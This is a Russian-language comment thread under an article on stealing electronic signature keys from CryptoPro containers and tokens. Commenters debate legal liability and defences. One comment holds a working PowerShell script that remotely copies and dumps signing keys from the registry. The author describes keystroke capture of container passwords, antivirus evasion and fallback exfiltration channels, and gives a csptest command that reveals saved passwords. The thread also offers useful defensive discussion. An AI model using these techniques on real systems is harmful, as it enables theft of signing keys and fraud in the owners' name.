Pull to refresh

Comments 67

Ну хорошо, напугать напугали, а где настоящие подробности? Такой скриптик-то и я напишу. На вашем тестовом стенде был антивирус или Edr\xdr или какие-то другие агенты\технологии безопасности? И они все прям ничего не видели и молчали?

...и раз уж тут речь и про юридические аспекты, можно ссылки на правоприменительную практику - были ли суды со схожими обстоятельствами, по какой статье велось дело, каков результат?

А ну и главное - что делать-то? А то как не на хабре, ни рекламы продукта решающего проблему, ни ссылки на тг-канал :)

То есть я согласен, что это прям проблема и в компаниях с эцп бардак, угрозы есть, но хотелось бы условий более приближенных к боевым и выводов поконкретней

А то как не на хабре, ни рекламы продукта решающего проблему, ни ссылки на тг-канал :)

и слава господу, что нет :)

Обычную подпись подделать легче, были ли суды? Были, но говорят сложно что-то доказать

По идее, подчерковедческая экспертиза закрывает вопрос.

Почерковедческая экспертиза помогает только в простых случаях, когда злоумышленник вообще не старался подделывать, а чирканул на авось. А в целом это скорее заглушка для того, чтобы легитимизировать спорные решения суда посредством создания видимости объективности.

Я как-то принимал участие в суде по трудовому спору, так там подписи, которые я ставил задним числом за начальника, признали подлинными. А мою подпись, которую я лично ставил на документ, признали поддельной. Хорошо, что я не был ответчиком...

Документ с обычной подписью - это реальный физический объект.

Обычно важные документы отправляют либо с курьером, либо заказным письмом. В итоге можно проследить всю цепочку, потому что есть свидетель (курьер), есть подписи людей на каждом из этапов. И если документ просто внезапно материализовался в конечной точке, и никто не может объяснить, как это произошло, плюс почерковедческая экспертиза, то очень просто это всё оспорить.

А вот чётко доказать, что вы не подписывали документ электронной подписью, гораздо, гораздо сложнее.

Доказать в суде отсутствие факта передачи документа невозможно. Предположим, судья зачем-то даже задаст владельцу вопрос, как документ к нему попал, тот просто ответит, что не помнит, имеет на это полное право.

Суд назначит почерковедческую экспертизу, но, как показывает практика, она работает как генератор случайных заключений, и расчитывать, что она распознает подделку, нельзя.

Ответственность за обеспечение безопасных условий работы с электронными подписями лежит на работодателе и владельце подписи. Иначе после каждого платежа можно было бы идти в суд, кричать что подпись была украдена и требовать компенсации. Мы при выпуске подписей инструкцию выдавали и просили расписаться за инструктаж. Так же наша компания проводила тренинги по информационной безопасности, которые включали работу с фишинговыми письмами, но бдительные сотрудники все равно успешно открывали письма с вложениями типа:
"Заявление на получение премии.exe"

Судя по оформлению с помощью списков, вам не ответят, LLM ещё не научили писать комментарии.

Что не так с оформлением? Когда на третьем курсе я получил первую лабораторную работу по системному программированию - оформление текста мне тоже не понравилось, более того - там информации было ноль, но преподавателя это мало волновало. На мой взгляд, информации в данной статье предостаточно, что бы смоделировать угрозу, изучить и разработать механизмы защиты. Если вы не можете это сделать, тогда это сделает кто-то другой и протестирует ваши механизмы защиты)

Антивирусы: да, все верно, антивирусы спокойно дают запускать подобные программы. Я работал в компании с миллиардными оборотами, 6000+ рабочих мест, где поднимал удостоверяющий центр и автоматизировал процессы связанные с СКЗИ, ЭП и ЭДО. Реализовал механизм удаленного извлечения ключей по данному алгоритму, сначала в тестовом режиме на PHP, потом в боевом на C++ (потому что дает сканировать ввод с клавиатуры, если контейнер запаролен + не требует наличие интерпретатора для запуска). Kaspersky и Bitdefender спокойно игнорируют подобные схемы. Так же тестировал удаленное подписание с неэскортируемыми ключами - на клиентские машины ставится агент, который выполняет удаленные команды. Сначала нужно запустить сканирование что бы найти машину на которой установлен токен, затем отправить задание на подписание файла. Я так машиночитаемые доверенности подписывал.

Юридические аспекты: в нашей компании бухгалтер подписала себе безвозвратный кредит подписью генерального и уехала в другую страну, в компании моего знакомого увели ключи генерального директора и подписали договор подряда и закрывающие документы - чем закончилось не знаю. В новостях был случай, когда сделку по недвижимости подписали, потом смогли опровергнуть через суд, но только потому, что подпись оказалась поддельная.

Что делать: каждая компания решает сама какие меры информационной безопасности применять, я просто протестировал уязвимость, написал автоматизацию и предоставил отчет. В моем случае компания не приняла никаких мер, хотя ее регулярно успешно атакуют через рассылки, получают доступ к чувствительным данным, шифруют рабочие столы, получают доступ к серверам. Можно получить доступ через рассылки с вложениями, но так же можно получить доступ через сотрудников. Многие бывшие сотрудники в компании, где я работал, до сих пор могут получить доступ ко всем рабочим местам через системы удаленного доступа, которые поддерживают работу с командной строкой и запущены от имени администратора, а инструкция, содержащая пароль подключения, гуляет по интернету в открытом доступе. В этом случае что бы обчистить 6000 рабочих мест уйдет примерно 20 минут.

Да, рекламы нет. Я обозначил проблему, а ее решение лежит на плечах руководителей ит департаментов и владельце ЭП.

Держите подпись на флешке, подключайте к компу только тогда когда подписываете документы.

Собственно, подпись полученная в налоговой для ИП скопировать на комп невозможно.

Если подпись хранится на токене, программа переходит в режим ожидания, пока токен не будет подключен к системе, после чего скопирует за секунду.
Если контейнер запаролен, программа сканирует хранилище сохраненных паролей, а потом начинает сканировать ввод с клавиатуры и после каждого ввода, похожего на пароль - снова пытается скопировать контейнеры.
Неэкспортируемые ключи ФНС легко экспортируются, у меня есть отдельная программа, которую я использовал для создания копий, когда работал в офисе - можно запросто интегрировать, только эти ключи нельзя будет записать обратно на токен - только на флешку или в реестр. Либо можно поднять сервер с заданиями, скачивать документ, подписывать локально и отправлять подписанный файл на сервер.
К сожалению, описанные вами методы не помогут, хотя это рекомендуемый минимум.

Ну и на кой эта статья в хабе C++?

Пособие для C++ разрабов. Вдруг кто-то решит перейти в направление Malware-as-a-Service (MaaS) и навести шороху в индустрии. Шучу.

На самом деле этот ящик Пандоры только открывается. ЭЦП сейчас только ленивый бухгалтер не копирует, обычно директорские ЭЦП на рдп серверах десятками висят.

ФНС открестился от проблемы просто: сказал что копировать ЭЦП запрещено и всё. Из разряда высказаться за все хорошее против всего плохого.

Возможно что много копий, уже полученных злоумышленниками, просто ждут какого то изменения в законодательстве для захвата имущества.

Скрытая электронная угроза. Враг в токене ЭЦП

Чисто в теории, ЭП защищена от кражи с аппаратного токена, но она же как то перезаписывается удалённо при устаревании, значит и блокировка программная.

При перевыпуске ЭЦП токен внутри себя генерирует новый ключ, и выдает наружу CSR (Certificate Signing Request), который отправляется в удостоверяющий центр.
Т.е. если все сделано как положено, приватный ключ никогда не покидает токен, и скопировать ЭЦП нельзя.

Ключ нет необходимости каждый раз перегенерировать, если речь не об утечке (подборе) закрытой части. На основе того же старого, как мощи царя Соломона, ключа можно просто запросить новый сертификат (csr->cer/crt). А сертификат по определению публичен.

скопировать ЭЦП нельзя

С некоторых токенов можно

С каких токенов нельзя скопировать? У меня таких проблем не было. Даже неэкспортируемые подписи легко экспортируются, потому что они не привязаны к ID устройства.

Нельзя скопировать с токена со встроенной криптой. Ну так все используют самые дешевые рутокены, которые по сути флешка с пин-кодом и админским пуком, который по умолчанию обычно не меняют.

Насколько я знаю, встроенная крипта токенов работает далеко не везде. В основном КриптоПро и ViPNet.

Чтобы обеспечить юридически-значимый электронный документооборот (ЮЗДО) нужно использовать в том числе сертифицированные ФСБ средства криптографической защиты (СКЗИ). Перечисленные Вами - это 99 процентов рынка (есть ещё всякие Меридиан, Dcrypt, Форос...).

Можно конечно играться opensource, но в случае судебных разбирательств будет приниматься подпись, генерированная сертифицированными СКЗИ (технически доказать это конечно очень сложно, но можно).

Мы выпускали подписи на КриптоПро и ViPNet. Один сотрудник выпустил себе подпись через встроенный в рутокен криптопровайдер, но так и не смог ничего подписать, ни в одной системе ЭДО.

Верно, вы не имеете прямого доступа к ключам на защищенном токене. Но вы можете экспортировать ключи через криптопровайдер, если они являются экспортируемыми. Либо использовать удаленное подписание, если ключи неэкспортируемые.
Данный механизм и описан в данной статье, а csptest это утилита командной строки, которая идет в комплекте с криптопро и используется для того, что бы получить доступ к ключам на токене.

обычно он не перезаписывается, а добавляется. Но зная пинкод с токеном можно делать что угодно, в том числе удалять контейнеры.

Для удаления контейнеров пароль не нужен, если не ошибаюсь.

Текущее законодательство вполне позволяет подписывать документы по передаче имущества. Вот примеры:
1. Подпись сотрудника c мчд (ограничено доверенностью) - можно заключить договор с подставной фирмой на космические суммы, подписать счет и закрывающие документы. В некоторых случаях возможно использование личного имущества сотрудников, если на это нет запрета.
2. Подпись руководителя - все то же самое, что и в первом пункте + назначить себя на должность с невероятной зарплатой, добавив необоснованную компенсацию при увольнении, выдать себе невозвратный кредит от компании, подписать мчд на свое имя, переписать на себя имущество компании, подписать указ о повышении зарплаты всем сотрудникам на 800%, задонатить средства на благотворительность, получить доступ в онлайн банкинг.

Есть огромное количество способов навести шорох, которые ограничиваются только фантазией злоумышленника.

Онлайн банкинг везде попросит СМС или пуш

Не всегда. Насколько я знаю, Сбербанк, ВТБ и Тинькофф позволяют корпоративным клиентам авторизовываться через ЭП и PIN, без sms или push.
PIN почти наверняка лежит у каждого бухгалтера на рабочем столе в файле с расширением *.docx. Во всех компаниях где я работал так было, по крайней мере :D

Но вроде подписать платёжное поручение только через СМС

Может быть кто-то так и делает. Я хотел бы посмотреть как бухгалтерия в крупной компании проводит 1000 платежей в час и судорожно вводит коды из смс)

Так если пачкой отправляешь - оно же разово спрашивает, не?

Возможно. Но тогда можно просто подкинуть платежку в общую кучу. Кто будет проверять 1000 платежных поручений перед подписанием всей пачки.

Подписать можно и отпечатком, по крайней мере в приложении. И да пачку можно подписать как одним отпечатком, так и одной смской.

Так если пачкой отправляешь - оно же разово спрашивает, не?

Обычно спрашивает для платежей в адрес новых/подозрительных* контрагентов, платежи в сторону контрагентов с которыми уже есть история расчётов проходят без танцев с подтверждением.

*подозрительные с т.з. банка.

Подпись руководителя - все то же самое, что и в первом пункте + назначить себя на должность с невероятной зарплатой, добавив необоснованную компенсацию при увольнении

Насколько мне известно, это категорически не так. Руководитель организации нанимается собственниками организации, и с ними он заключает договор, где определены все условия. Преодолеть этот договор своей подписью от лица организации руководитель не может. То же самое, кстати, касается устава организации (об этом написано в тексте статьи).

Имея подпись генерального директора вы абсолютно точно можете назначит себя заместителем генерального директора и подписывать различные указы.

Что касается изменения устава компании и рейдерского захвата - вот информация на сайте Тензора и я не вижу причин ей не доверять, потому что эта организация тесно сотрудничает с гос структурами.
https://tensor.ru/uc/ep/utrata

На основании этого федерального закона нельзя однозначно утверждать что он запрещает рейдерских захват с помощью электронной подписи.
Например:
В статье указано, что изменения в устав могут быть внесены по решению общего собрания участников общества (если несколько учредителей). Причем изменения вступают в силу после их государственной регистрации в органах, осуществляющих регистрацию юридических лиц (то есть электронная система налоговой).
Примеры:
1. Генеральный директор и учредитель одно лицо - подписью генерального директора можно подписать обновленный устав и направить в налоговую через электронную систему.
2. Генеральный директор и учредитель разные лица - обновленный устав должен быть подписан подписью учредителя и направлен в налоговую через электронную систему.

Я не вижу каким образом данный федеральный закон запрещает передачу долей компании другому лицу через обновление устава, подписанного электронной подписью и зарегистрированного через электронную систему ФНС.

Передача долей в компании требует нотариаьного удостоверения. ЭЦП не поможет

Я видел только что назначение генерального директора теперь требует нотариального удостоверения. Но не нашел информацию о том, что запрещено вносить изменения в учредительные документы через подачу в электронном виде, с целью добавить учредителя, например.
Не поделитесь ссылкой на федеральный закон?

Я видел только что назначение генерального директора теперь требует нотариального удостоверения.

Назначение Генерального Директора всегда требовало нотариального заверения. Это не новое требование. Собственно форму Р<не помню какой-там номер> подписывает избранный ГД, а его подпись заверяет нотариус.

Касательно продажи -- федеральный закон об ООО статья 21 пункт 11

Сделка, направленная на отчуждение доли или части доли в уставном капитале общества, подлежит нотариальному удостоверению путем составления одного документа, подписанного сторонами. Несоблюдение нотариальной формы влечет за собой недействительность этой сделки.

И все, только так, ЭЦП не прокатывает.

Вообще, сама ситуация вызывает у меня нервный саркастический смех. Передать долю по ЭЦП, ага ага.

Не далее как год назад, лично столкнулся с ситуацией когда учредитель (я) за границей с начала 2022 года. У меня была только ЭЦП. Доверенности нет. Очередь в консульства в Европе по несколько месяцев. Фигня вопрос подумал я -- ЭЦП же аналог собственноручной подписи. А дальше начинается реальность.

Отказ от преимущественного права покупки -- только нотариальное заявление. Подписать ЭЦП -- нельзя! Делайте доверенность!

Тут приходит в голову идея -- переделать устав, подписав ЭЦП. Ага, щас... отказаться от преимущественного права нельзя в принципе. Внести в устав пункт о обычном заверении.... тоже нельзя потому-что закон об ООО:

Подлинность подписи на заявлении участника общества или общества об отказе от использования преимущественного права покупки доли или части доли в уставном капитале общества должна быть засвидетельствована в нотариальном порядке

Отчуждение долей -- та же самая фигня (цитировал выше).

И это только первые несколько граблей, которые лежат на пути перераспределения долей только при помощи ЭЦП, без нотариуса.

В общем, при пристальном рассмотрении оказалось, что с ЭЦП учредителя сделать можно чуть более чем ничего. Электронные госуслуги... млин. Пришлось лично мотаться в консульство РФ в славном городе Дербецен, предварительно отыскав этот город на глобусе.

Здесь сказано про отчуждение доли, то есть продажу, покупку, дарение. Есть информация по поводу запрета добавлять дополнительных учредителей? Это разные процессы, если не ошибаюсь - при вхождении дополнительного учредителя не происходит отчуждение доли, а происходит увеличение уставного капитала. Теоретически, можно добавить двух новых учредителей и в обновленном уставе прописать, что вес голосов на собраниях определяется не размером доли, а большинством голосов. В таком случае можно было бы проголосовать за смену генерального директора.
А что бы продавать долю другим учредителям, нотариус по моему не нужен. То есть можно рассмотреть вероятность войти в учредители, а потом отжать долю у второго учредителя. Но это на теории.
Что думаете?

Имея подпись генерального директора вы абсолютно точно можете назначит себя заместителем генерального директора и подписывать различные указы.

Имея подпись ГД вы можете не палиться с назначением себя замом и просто подписывать от его имени))))

Однако размах цифрового Остапа Бендера будет существенно ограничен законом об ООО и Уставом компании. Для любых крупных сделок (юридический термин из Закона об ООО) понадобится согласие всех учредителей. Для того чтобы внести изменения в Устав понадобится протокол общего собрания всех учредителей. Перераспределение долей -- это вообще дохлый номер как я написал выше

Извините, я не в теме. Ключи что, в открытом виде в реестре хранятся? Они никак не шифруются?

Да, все верно. Вы можете проверить самостоятельно - сгенерируйте тестовую подпись на usb носитель, скопируйте ее в реестр, выделите ветку реестра с подписью и экспортируйте в виде *.reg файла. Перенесите этот файл на другой компьютер, замените SID на текущего пользователя и импортируйте в реестр. Этот метод широко практикуется в крупных компаниях, когда нужно на рабочее место установить пул подписей, например бухгалтеру.

Но там есть целый пароль. Если он не стандартный то и из реестра ты без него ничего не вынешь. Вроооде бы

  1. Когда я выпускал подписи, в рекомендациях удостоверяющего центра прямым текстом было написано, что устанавливать пароли на контейнеры не рекомендуется. Причина в том, что пользователи часто забывают пароли и им приходится перевыпускать подписи.

  2. Если контейнер установлен в реестр и он запаролен, вы можете его скопировать, но при установке на новое рабочее место он будет требовать пароль. В описанном мной примере контейнер копируется в реестр из токена, на этом этапе уже будет понятно установлен пароль или нет, по коду ошибки. Если пароль установлен, можно перейти в режим сканирования ввода с клавиатуры и каждый набор символов подгонять под паттерн (например 8-16 цифр) и после каждого совпадения снова пытаться скопировать его. Если подписей на съемных носителях нет, а они сразу установлены в реестр, то перед копированием можно делать проверку, которая должна вернуть код ошибки 0, если пароль не установлен, либо снова переходить в режим сканирования ввода.

  3. Если контейнеры запаролены но пароль был запомнен при вводе, можно извлечь их таким образом
    csptest -passwd -showsaved -container "<имя контейнера>"

На моем опыте контейнеры либо не имели пароля, либо пароль был запомнен, что бы не вводить его при каждом подписании. Но всегда остаются механизмы, что бы его извлечь.

Какая то дичь, имхо. В старом ламповом мире у бухгалтеров не было никаких пулов подписей. Какой смысл в подписи, если она есть у всех? У бухгалтеров, у айтишников, у любого, кто просто посидел за компом во время отпуска хозяина, у ремонтника, которому комп отвозили чинить...

Согласен. В некотором смысле даже хуже стало. Я как ИП, раньше не был привязан ни к конкретному компу, ни к подписи, которая может протухнуть, токен может сломаться или потеряться. Спокойно себе отправлял отчётность в органы через онлайн бухгалтерию с любого устройства с смс подтверждением. А сейчас подпись надо ставить на ноутбук и тащить с собой в отпуск(оба два), потому что благодаря "заботе" государства даже двухнедельного разрыва нет между отчётами. Т.е. если бухгалтер один или его нет, то в отпуск по закону не съездишь.

Вы можете зарегистрировать МЧД с полными правами на бухгалтера. СМС не обеспечивает достаточный уровень безопасности, потому что помимо отправки отчетов есть еще электронный документооборот, где процветало бы мошенничество, как с банковскими счетами. Плюс электронные подписи используются не только для подписания документов, но и для обмена зашифрованными сообщениями. Я работал в больнице и сдавал медицинские счета в фонд - перед отправкой все реестры подписываются и зашифровываются. С помощью СМС такой функционал реализовать не получится.

У нашего главного бухгалтера была сотня подписей в реестре. Она вела 19 дочерних ООО и 4 ИП. Постоянно нужно счета подписывать, отправлять различные отчеты в различных системах. Когда появились подписи ФНС, возникла другая проблема - была огромная связка токенов и сотрудники бегали как сумасшедшие по офису в попытке найти нужную подпись по нужному ООО, а потом все это в регистрационном журнале еще оформить нужно, а он по каждому юр лицу свой :D

Надежнее всего подготовить систему на флешку со средой для работы с токеном перевести в ro и загружать когда требуется, лучшим решением будет запись ЭЦП через pkcs11 профиль при активном токене, тот что с скзи на борту и избежать контейнеров криптопро. А криптопро использовать как посредник для гост tls.

Т.к. система в озу ну или с флешки в ro, закрепить вредонос не выйдет, перезагрузка и все стирается. Надёжно? Вроде да. Удобно? Относительно.

Если говорить в плане компании лучшее решение это usbip коммутатор и через него прокинуть токены кому надо а потом забрать. И прекратить использовать пассивные токены без скзи.

Я согласен, что есть множество механизмов защиты, но далеко не во всех компаниях они внедрены. Более того, их массовое внедрение и не планируется, особенно в компаниях, в которых нет штатного специалиста по ИБ. Поэтому угроза актуальна.

Привет @DmitriiMikhailov

Можно я как ИБшник со стажем немножко потоксичу?

Реально важная тема про компрометацию ЭП превращена в "страшилку" уровня "пришли хакеры и всё украли" . Мало технических деталей — ни схемы взаимодействия с КриптоПро, ни структуры контейнеров, ни информации о том, как именно происходит экспорт ключа, при каких правах, в какой версии Windows, с какими флагами. Всё сводится к «запустили payload и утащили ЭП». Это упрощение вредно — создаёт ложную уверенность, что достаточно «не открывать вложения», и всё будет хорошо.

Где хоть что-то про аппаратные средства защиты (Рутокен, JaCarta), про разделение ключей и контейнеров по уровням доступа? Где рекомендации по ограничению экспорта ключей через политики безопасности Windows (`gpedit`, AppLocker, SRP)? Где база про физическую изоляцию машины с ЭП? Или про отдельный токен с подтверждением на кнопке? Это же азы. Ну ладно что то я тут через чур.... Сорри чисто проф деформация

Ок ближе к теме... Ноль упоминаний про журналирование и контроль.

Если у вас ЭП может быть экспортирована — значит, не настроен ни контроль доступа к `CryptoPro CSP`, ни аудит действий пользователей, ни даже банальный мониторинг исполняемых процессов и вызовов API. Почему это не разобрано?

Про ФЗ-63 не сказано ни слова. Между тем в юридическом смысле защищённая ЭП = ручка директора. Если вы дали возможность её скомпрометировать, вы автоматически проиграли суд. Автору стоило хотя бы упомянуть про риски по линии корпоративного соответствия и ИТ-аудита. А ещё — про практики по отзыву ЭП и перевыпуску, если возникли подозрения.

Статистика «90% через вложения» — откуда?Если это откуда-то типа Group-IB или Mandiant — покажите ссылку. Если нет — не надо манипулировать цифрами ради эмоционального эффекта. Мы тут всё-таки технари :)

Логичный вопрос что можно было бы сделать лучше? Я бы сделал так:

— подробно разобрать вектор: от импланта до доступа к контейнеру,

— привести примеры, как это блокируется: на уровне AD, GPO, политики безопасности,

— обсудить юридические последствия, включая кейсы с подписями в арбитражах,

— сделать вывод не «ой, страшно», а «делаем так-то, так-то, тогда безопасно.

Пока это выглядит как пост для управленцев, чтобы они в панике побежали заказывать аудит. А хотелось бы увидеть статью уровня ИБ-практика: с примерами, логами, техниками, и чёткими выводами. Пока — не дотягивает. Это чисто конструктивная критика, тк много лет занимаюсь этим. Надеюсь не обидел.

Привет. Конечно можно, публикация создана что бы токсичить.
Ко мне пришла идея протестировать механизм кражи ключей когда я администрировал удостоверяющий центр. Я набросал на скорую руку программу, которая успешно выгружала ключи с удаленного компьютера, как с доменного, так и с локального, kaspersky и bitdefender запуск игнорировали. В данной статье я поделился опытом, каким образом был реализован алгоритм выгрузки ключей, но без чрезмерных подробностей и исходного кода, т.к. это может попадать под 273 статью УК РФ.

Что касается механизмов защиты - целью статьи не было навязывание решений по защите информации, основная задача была указать на наличие проблемы и предоставить информацию для размышлений. Конечно можно было бы описать все классы СКЗИ защиты КС, КА, КВ, рассказать про пак "соболь", но мне не хотелось раздувать статью и делать ее сложной для понимания, потому что она создана не только для компаний, которые активно внедряют электронный документооборот, но и для обычных пользователей, которые работают с электронной подписью дома.

В целом ваша идея неплохая и просвещение в области информационной безопасности может быть полезным. Но я бы вынес это в отдельную статью, связанную с атаками в более широком смысле.

Статистика про 90% взята с сайта агентства по кибербезопасности и защите инфраструктуры США. Вот ссылка:
https://www.cisa.gov/shields-guidance-families

Вы под программой понимаете скрипт из пары десятков строк? Так он всем известен, кто давно в теме.

PS
param($computer, $user, $pass)
$secpass = ConvertTo-SecureString $pass -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $secpass)
Invoke-Command -ComputerName $computer -Credential $cred -ScriptBlock {
    $sid = (whoami /user | Select-String 'S-[\d-]+').Matches.Value
    $containers = (csptest -keyset -enum_cont -verifycontext -fqcn | Select-String '\\\\.\\.+').Matches.Value
    foreach ($cont in $containers) {
        $dest = "temp_$([guid]::NewGuid())"
        csptest -keycopy -contsrc $cont -contdest $dest -silent | Out-Null
        reg export "HKLM\SOFTWARE\WOW6432Node\Crypto Pro\Settings\Users\$sid\Keys\$dest" "$env:TEMP\$dest.reg"
        Get-Content "$env:TEMP\$dest.reg"
        Remove-Item "$env:TEMP\$dest.reg"
    }
}

И при чём тут kaspersky и bitdefender? Это тупые антивирусы (эвристика как метод умерла лет 5 назад), которые для таких вещей не предназначены, а управленцы после таких высказываний как раз и считают, что в организации для обеспечения ИБ достаточно обвешаться антивирусами и будешь под надёжной защитой.

Для предотвращения таких вещей нужен EDR/XDR и нормальный SOC.

Это понятно и может быть применимо к крупным компаниям, где безопасностью занимается целый отдел. Но малый бизнес и индивидуальные предприниматели - не в курсе, какие механизмы защиты бывают кроме антивируса. Более того, многие крупные компании ставят антивирус и забивают на все остальное, как те компании, где я работал.
По поводу программы - вы можете написать базовую реализацию на powershell и ваш вариант имеет право на жизнь, но есть нюансы:
1. Cmd / powershell антивирусы как раз и ловят
2. Этот скрипт подойдет для самой примитивной атаки. Он не учитывает ситуации, когда токен не вставлен или контейнер запаролен. В таких случаях было бы логично перейти в режим ожидания, опираясь на коды ошибок, если токен не установлен, то ожидать подключения токена. Если запаролен - ожидать ввод с клавиатуры и проверять по шаблону. Если контейнер неэкспортируемый - получить документ с удаленного сервера, подписать и отправить обратно. Если блокируется трафик по FTP, переходить на HTTPS или SMTP. Можно даже интегрировать с удаленным AI, который будет анализировать и устранять ошибки.
Есть огромное количество механизмов защиты информации и огромное количество способов их обойти. Если рассылка с вложениями работает на банковских системах, то на малом и среднем бизнесе сработает тем более.

Про то, что это всё доступно только в крупных компаниях - отговорки управленцев, которые начинают шевелиться когда уже что-то случиться. Не обязательно держать в штате ИБ, можно аутсорс (даже уже виртуальный CISO есть услуга). И цены гуманные, но к сожалению >0. А если нужно вкладываться в ИБ, пусть и мизер - это отталкивает управленцев. Прибыль же не приносит.

Да, скрипт собирает только из реестра. Не знаете что делать, если получили запароленый контейнер из реестра? :) И в таких "мелких" организациях, что Вы описали не хранят на токенах ключи - дорого (а если потеряет, сломает, аж 2 тыс. руб. платить за новый, да ещё перевыпуск ЭП).

В "мелкой" организации точно нет NGFW, поэтому мне не интересно, что они там на сетевом уровне блокируют. Наверняка ходят пинги (ICMP) и DNS как-то резолвится - чем не скрытые каналы.

Но действительно способов украсть информацию много и социнженерия занимает 80 процентов.

Отлично, благодарю за развернутый ответ. Теперь понятна цель статьи — скорее как «wake-up call», а не технико-методическая раскладка. Тем не менее, позволь тезисно, но по делу:

Насчёт уголовной ответственности:

Да, 273 УК — это не шутки. Но тогда возникает вопрос: если нельзя раскрывать подробности, которые могли бы реально помочь понять механизм компрометации, то что мы в итоге получили? Описание на уровне «я смог, антивирусы не заметили, выводы делайте сами». Это оставляет техническое сообщество в подвешенном состоянии — без чёткой картины, где уязвимость, кто виноват: CryptoPro, Windows, пользователь, или вся экосистема?

Можно ведь рассказать о векторе без 0-day и «криминала» — через моделирование атаки, допустим, с правами пользователя, без кейлоггера и без экспорта ключей.

Насчёт того, что статья «не для специалистов»:

Тут тонкая грань. Публика Хабра — всё же не «домохозяйки с Рутокеном», а айтишники, часто с доступом к инфраструктуре и ответственностью за безопасность. И когда им подаётся упрощённая модель атаки без разбора защит, это только добавляет паранойи, но не даёт понимания, что и как закрывать. Тот же пак «Соболь» или классы СКЗИ можно было упомянуть хотя бы одной строкой в конце — без углубления, просто чтобы не казалось, что выхода нет.

По ссылке на CISA:

Спасибо, но в статье это не было отражено. А зря. Упоминание CISA дало бы нужную серьёзность, тем более это международный источник, который вызывает уважение. Сейчас же выглядит как типичная «страшная цифра из воздуха».

Ну и в целом:

Идея классная. Вектор атаки — реально опасный. Но, как ты сам говоришь, это больше тост, чем технический разбор. Возможно, ты прав — стоит сделать продолжение. А ещё лучше — соавторский материал с кем-то из ИБ-сообщества, чтобы дать и драму, и технику, и контрмеры. Тогда это будет не просто «пугалка», а статья, на которую будут ссылаться в аудитах, внедрении СКЗИ и корпоративных обучениях.

Я прикрепил видео к статье, там показано как все контейнеры по клику на почту уходят - в этом и была суть статьи. Можно тестировать программу в различных условиях, но это может превратиться в бесконечное приключение по обходу системы защиты. Идея интересная, но трудозатратная. Поэтому я бы оставил это на усмотрение руководителей ит департаментов, им тоже нужно отрабатывать свой хлеб :D

Рутокен, JaCarta

Пффф, YubiKey вообще пушка: помимо аппаратной крипты, оно имеет триггер physical presence, то есть, пока его рукой не потрогаешь, то, хоть даже твой пин миллион раз верный, не подпишет ничего.

Я читал про YubiKey, но пока не работал с ними. Не уверен, что ФНС примет этот тип носителей для записи подписи. Они рутокены без бумажных сертификатов через раз принимают.

Sign up to leave a comment.

Articles